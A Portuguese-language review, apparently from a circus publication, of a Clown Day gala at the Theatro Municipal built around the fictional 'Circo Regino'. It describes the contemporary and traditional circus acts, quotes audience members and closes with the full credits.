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E com Vocês...

“Eleva o tórax”: sucesso no Municipal

 

 

Dia do Palhaço promove encontro entre o circo contemporâneo e o tradicional 

Fernanda Araujo, especial para Panis & Circus

A história do artista Estevão Regino, primeiro circense a desembarcar no Brasil, junto com a família real, foi o mote da Noite de Gala, em homenagem do Dia do Palhaço, em 10/12, no Theatro Municipal.

“As Aventuras Alucinadas do Circo Regino” teve direção de Rodolfo García Vázquez (diretor do Grupo Os Satyros) e roteiro de Hugo Possolo (diretor dos Parlapatões).

À palhaça Rubra, mestre de cerimônia da noite, coube a missão de apresentar os números do circo contemporâneo e tradicional.

Rubra fez todos levantaram o tórax. E também o bíceps, o cóccix e a “panceps”. Legítima representante da linguagem contemporânea, a genial palhaça cantou em uma mistura de português, com francês, japonês e inglês.  Arriscou até uma ópera, em homenagem ao Theatro Municipal. O maior sucesso musical da noite, entretanto, foi “Tchu Tchu, Tchu Tchu”, uma faixa na qual crianças de todas as idades suspenderam os braços  para dançar junto. Ao lado dela, a turma de palhaços engrossou coro e coreografia.   

 

 

Memórias do Circo Regino

Não faltou entre o respeitável público aqueles que buscavam na memória lembranças do Circo Regino, o mais antigo do país.

Esforço em vão. Pois é, de fato, o tal circo nunca existiu. Tratou-se na realidade de um recurso narrativo para encaixar diferentes atrações em um único espetáculo. E cumpriu a tarefa.

 

Palhaça Rubra e Reginaldo (Ricardo Rodrigues), último membro do Circo Regino / Foto Asa Campos

 

A trama inventiva discorria sobre a saga de Estevão Regino, circense que chegara ao Brasil em 1808, ao lado de Dom João, em narração gravada em vídeo por respeitados veteranos da categoria como Bruno Edson e Tavares Pimenta ­– todos presentes na plateia. Nessa toada, o convincente enredo extrapolou a tela (suspensa no palco) e ganhou consistência na presença do último membro dos Regino, o jovem Reginaldo (representado pelo ator Ricardo Rodrigues) em “As Aventuras Alucinadas do Circo Regino”.   

Os números exibidos no palco ganhavam remissão à fabulosa história, com a graça e o humor do antigo circo-teatro. Reginaldo contou que criou o personagem “Gorducho” para participar de festas infantis e garantir renda extra.     

 

Reginaldo (Ricardo Rodrigues) e seu personagem “Gorducho” / Foto Asa Campos

 

Destaques: La Belle Époque e Humor   

Primeiro número da Noite de Gala, a lira graciosa das meninas do Zanni (Bel Mucci, Dani Rosa Rocha, Erica Stoppel e Lu Menin) demonstrou perfeita harmonia com a música escolhida. As apresentações nos arcos começaram a partir de uma centopeia formada pela junção das garotas em volumosas saias vermelhas, em um figurino que remetia à La Belle Époque. (Veja vídeo acima).

Odgerei Oynbaatar, contorcionista chinesa, do Circo Spacial / Foto Asa Campos

 

A contorcionista chinesa Odgerei Oynbaatar, do Circo Spacial, foi uma das atrações da noite: exibiu elasticidade extraordinária sobre uma pequena mesa. Também do Spacial, o palhaço Pepé Jardim regeu, com criatividade, uma orquestra de sinos improvisada com “músicos” selecionados na plateia.

 

Palhaço Pepe Jardim rege uma orquestra de sinos / Foto Asa Campos

 

Na barra fixa, Guga Carvalho deu um show. Interpretou um personagem um tanto atrapalhado e com sátira ao figurino dos antigos apresentadores de circo com molejo do tipo Elvis Presley cover. O paletó curto do conjunto azul brilhante permitia mostrar-lhe a barriga sempre que os braços seguiam para o alto. A combinação de técnica precisa e humor – ao lado de sua partner, Silvia Compte – foram executados com uma despretensão milimetricamente calculada e bem-sucedida.

 

Guga Carvalho e Silvia Compte em número divertido e preciso de barra fixa / Foto Asa Campos

 

O número de báscula dos aviadores com figurino do começo do século – feito pelos Irmãos Sabatino (André e Martin) e Guga Carvalho – teve também humor e técnica.

 

Irmãos Sabatino e Guga Carvalho, no meio, durante apresentação da báscula / Foto Asa Campos

 

Impagável a apresentação de Pablo Nordio e Marcelo Lujan (Circo Zanni e Amarillo) por sua comicidade excêntrica ancorada na música.    

 

Pablo Nórdio e Marcelo Lujan (Zanni e Amarallo) e a comicidade excêntrica /Foto Asa Campos

 

Jermany Maciel, do Circo Broadway, demonstrou precisão em sua técnica no número de equilibrismo de cadeiras. Essa mesma precisão esteve presente no número da Percha, executado por Viviane Rabelo e Alfredo Munõz.

 

Equilíbrio de Jermany Maciel, do Circo Broadway / Foto Asa Campos

 

No palco, Rubra recebeu o circense Luiz Alfredo Munhoz, que foi quem ensinou ao filho Alfredo, a arte da Percha – aparelho usado no equilibrismo.

 

Percha no palco do Municipal / Alfredo Munõz, Rubra, Luiz Alfredo Munõz e Viviane Rabelo / Fotos Asa Campos

 

Dois palhaços do circo tradicional, Biribinha e Mixuruca, (Teófanes Silveira e Teófanes Silveira Junior) encantaram com a música extraída das garrafas de vidro, panelas e de uma pequena sanfona.

 

Música extraída das garrafas e panelas com os palhaços Biribinha e Mixuruca / Fotos Asa Campos

 

Os malabaristas – Anderson Silva, Romer, Victor Candi – brincaram com objetos como bolinhas e suas sombras na tela. E o espetáculo “As Aventuras Alucinadas do Circo Regino” acabou com o número de pêndulo (aparelho trazido para o palco do Municipal), de César Alves, do Circo Stankowich.

 

Integrantes do espetáculo no palco e o pêndulo de César Alves, do Stankowitch / Foto Asa Campos

 

 

Público comenta 

Edison Veiga veio ver o Dia do Palhaço com a esposa e o filho e gostou do que viu. “Trazer meu filho para esse momento é maravilhoso. O palhaço é uma figura culturalmente importante, não só pelo aspecto lúdico, mas pelo que ele representa para as crianças”.

Maria Elisa Hidalgo, que faz pós-graduação em artes, afirma que teve bons momentos o encontro promovido entre o circo contemporâneo e o tradicional. “A realidade, porém, é que eles podem até morar na mesma casa, no Brasil, mas a linguagem, o figurino, a música e a criação mostram que trilham caminhos diferentes faz tempo.”

Ainda que tenha considerado o espetáculo longo, o  comerciante Braz Toledo considera que foi uma “noite feliz!”.          

Palhaça Rubra em “As Aventuras Alucinadas do Circo Regino”

 

Ficha técnica:

Direção: Rodolfo García Vázquez – Grupo Os Satyros

Roteiro: Hugo Possolo – Parlapatões.

Apresentação: Rubra

 

Primeiro ato

La Belle Époque – Liras: Erica Stoppel, Luciana Menin, Bel Mucci e Daniela Rocha-Rosa (Circo Zanni)

Contorção: Odgerel Oyunbaatar (Circo Spacial)

Barra Fixa: Guga, o Rei da Acrobacia – Guga Carvalho e Sílvia Compte

Palhaço: Pepé Jardim (Circo Spacial)

Malabaristas: Anderson Silva, Romer, Victor Candi,

Despenhadeiro: Jermany Maciel (Circo Brodway)

Báscula: André Sabatino, Martin Sabatino (Irmãos Sabatino)

e Guga Carvalho 

 

Segundo ato

Gordinho (tecido): Ricardo Rodrigues

Percha: Viviane Rabelo e Alfredo Muñoz

Palhaços: Pablo Nórdio e Marcelo Lujan (Circo Amarillo)

Equilíbrio de cadeiras: Jermany Maciel (Circo Brodway)

Palhaços convidados especiais: Biribinha e Mixuruca (Teófanes Silveira e Teófanes Silveira Junior)

Pêndulo: César Alves (Circo Stankowich)

 

Álvaro Lages, guitarra, Nereu Afonso, bateria e Henrique Alvez, baixo / Foto Asa Campos

 

Banda:  Álvaro Lages (guitarra e voz), Nereu Afonso (bateria e voz) e Henrique Alves (baixo e voz)

Coro de Palhaços: Roberson Pereira, Teófila Lima, Tamara Vasconcelos, Carlos Cálamo, Emiliano Bicalho, Gustavo Guimarães, Maria Teixeira, Conceni Paulina, Gutto Vieira, Jessica Turbiani, Alexandre Zampieri, Guilherme Wander, Asnésio Bosnic, Delcianny Garces, Bianka Belavary, Bárbara Rodrigues, Daiane Rodrigues, Melissa Panzutti, Lidia Borges, Carolyn Ferreira, Jojo Brow-nie Souza, Fabiano Savan, Thiago Dias, Pedro Fontana, Paloma Natacia, Henrique Rimoli, Julia Lopes. Direção de Caco Mattos.

 

Postagem – Alyne Albuquerque

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